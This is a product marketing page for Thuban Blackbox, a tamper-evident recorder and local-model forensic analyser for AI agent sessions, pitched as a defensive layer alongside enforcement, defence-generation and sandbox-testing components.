Thuban Blackbox
Analyse anything. Execute nothing.
When frontier AI models refuse to examine attack evidence, Blackbox uses local forensic models with full evidence access and zero execution rights.
When frontier AI models refuse to examine attack evidence, Blackbox uses local forensic models with full evidence access and zero execution rights.
During the Hugging Face incident, defenders had roughly 17,000 attack events to analyse — command sequences, exploit payloads, exfiltration traffic. They fed the evidence to frontier AI models to accelerate triage. The models refused. Safety filters flagged the exploit code itself as the threat, not the incident it came from, and blocked the analysis outright.
Whoever wrote the payload ran it without asking permission. No safety policy stood between them and the target.
Cloud frontier models classify exploit code as unsafe content and decline to summarise, explain or triage it — even for defensive analysis.
At that volume, manual triage without model assistance costs hours or days per analyst — time an active incident doesn't give you.
This is not a one-off. Any safety-aligned cloud model will refuse to analyse a live exploit, a credential-stealer, or an obfuscated payload — by design. The asymmetry is structural, and it favours the attacker every time defenders rely on the same refusal-prone models.
Blackbox is one of four independent layers in Thuban. Each does exactly one job, none of them can do another's job, and that separation is enforced structurally — not by policy or prompt instructions that a compromised agent could talk its way around.
Restricted production enforcement engine. Deterministic OS-level controls decide what an agent is allowed to do — no LLM in that decision path, so there's nothing to jailbreak.
Defence generation. Reads hostile evidence recorded by Blackbox to build new rules for Shield — it can propose a rule, but it has no execution rights of its own.
Isolated security-research environment. Attacks candidate defences generated by Forge inside a sandbox that has no path back to production.
Local, open-weight forensic models. Full read access to recorded evidence, including hostile payloads — zero execution rights on the host, ever.
Why four separate layers instead of one smart agent: a single system that enforces, learns, tests and explains would need to trust its own analysis of hostile input before acting on it. Splitting the roles means the layer that reads hostile evidence (Blackbox) is structurally incapable of acting on it, and the layer that acts (Shield) never has to reason about anything it reads — it just enforces deterministic rules.
An aircraft black box doesn't stop the crash — it survives it, and it tells investigators exactly what happened. Thuban Blackbox is the same idea applied to AI agent sessions: it records everything an agent does, and when something goes wrong, it reconstructs the incident chain in full, from first command to final effect.
Not an application log with timestamps bolted on. Not a summary. Not something an agent — or an attacker who compromised an agent — can quietly edit after the fact.
A tamper-evident, chained recording of every action attempted, every decision Shield made about it, and every outcome — replayable end to end, analysable by local models with zero refusal policy standing in the way.
Shield enforces. Forge learns. Crucible proves. Blackbox explains.
Blackbox runs every recorded event through a forensic pipeline — ingesting raw logs, parsing them, correlating them against known attack patterns, and generating the insight a human actually needs.
Raw syslog, process logs, file-system events and network traffic are pulled in as they're recorded — structured, timestamped, and chained to the events before and after them.
Pattern matching and behaviour analysis link individual events into sequences — a file write followed by a process spawn followed by an outbound connection stops being three separate log lines and becomes one incident.
Correlated sequences are matched against known attack stages — initial access, execution, privilege escalation, lateral movement, exfiltration — to reconstruct the chain an attacker actually followed.
Local open-weight models turn the reconstructed chain into a plain-language finding: what happened, what triggered it, what it touched, and what to do next.
This is a simplified excerpt from a Blackbox incident report — an agent session that started with a routine task and escalated into an RDP-based intrusion. Every line below is a real event class Blackbox records, not a paraphrase.
Blackbox doesn't just show the path the attacker took — it shows where Shield's deterministic rules blocked an escalation, and what would have happened if that rule didn't exist. The chain above shows two blocked branches: privilege escalation and exfiltration.
The obfuscated PowerShell payload at 00:00:04.881 was decoded and summarised by a local model in the same report — without ever running it. That's the analyse-anything, execute-nothing boundary in practice.
Every protected session produces a complete, ordered record — not a sample, not a summary — and Blackbox can analyse hostile parts of that record without ever executing them.
Every command, file access and process spawn the agent attempted — with millisecond timestamps — recorded as it happened, not reconstructed afterward from partial logs.
What command led to what effect. Blackbox maps the sequence from initial access through privilege escalation, lateral movement and exfiltration, in order.
Local, open-weight models examine exploit payloads and attack traces directly — no cloud refusal policy stands between you and the evidence.
Raw records become a report a human can actually use: what happened, why it was allowed to happen, what it touched, and the chain of evidence behind it.
Shows not just what happened, but where it could have gone differently — every point where a rule blocked an escalation is visible in the reconstructed tree.
No data leaves your machine, no cloud dependency. Full evidence access, and the analysis engine has zero rights to execute anything on the host.
Anyone can say "we log everything." Blackbox is built so the record can't be quietly edited after an incident, and so a full session can be replayed rather than pieced together from fragments.
Replay any session end to end to understand exactly what an agent did, in the order it did it, with the decisions Shield made at each step.
Reverse any action using the recorded before-state — not a best guess at what the file used to look like.
When an auditor asks what your AI agents did last quarter, the answer isn't "we'll check" — it's already recorded, chained and ready to hand over.
Recordings can't be silently modified after the fact. If someone tries, the break in the chain is visible.
Attackers do not have safety filters. Defenders still need safe access to the evidence. Blackbox analyses hostile agent behaviour locally — without giving it control of the machine.
A log file tells you something happened. Blackbox tells you exactly what happened, why it was allowed to happen, and how to undo it.
| Capability | Nothing | App logs | Thuban Blackbox |
|---|---|---|---|
| Records attempted vs allowed vs blocked | ✗ | attempted only, usually | ✓ |
| Tamper-evident (chained records) | — | ✗ | ✓ |
| Full session replay | — | ✗ | ✓ |
| Rollback with recorded context | — | ✗ | ✓ |
| Audit-ready compliance evidence | — | requires manual assembly | ✓ |
See Blackbox included across Thuban plans.
View pricing